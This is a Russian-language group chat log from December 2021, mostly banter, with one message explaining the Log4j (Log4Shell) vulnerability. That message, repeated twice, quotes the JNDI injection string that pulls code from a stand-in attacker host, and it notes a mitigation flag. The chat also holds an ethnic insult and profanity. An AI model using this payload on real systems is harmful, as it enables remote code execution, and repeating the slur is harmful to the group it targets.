ИZ
Даже на ссие лабе никому не было дела до часов
Size: a a a
2021 December 10
ИZ
Индусы конченые
N
написал что имел место харрасмент?
ИZ
я не знаю как по английски пишется "долбоебы"
I
dolboeby
LM
dolboeby, sir
E
hooligany
E
E
(тот момент не нашел, сорян)
ИZ
хороший фильм, надо пересмотреть
$
У половины интернета нашли выполнение произвольного кода через Log4j.
Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс:
Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс:
JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
N
Ключевой вопрос №4.
N
N
N
N
2021 December 11
J
Albert Ferguson: user has been CAS banned
NK
Найдена причина, из-за которой мы продолжаем хранить эти царапающие пальцы заглушки.
AG
TORX болт/шуруп/хзкакеготочно это однако
F
Я заглушкой всегда обжимал настенные розетки ржи-45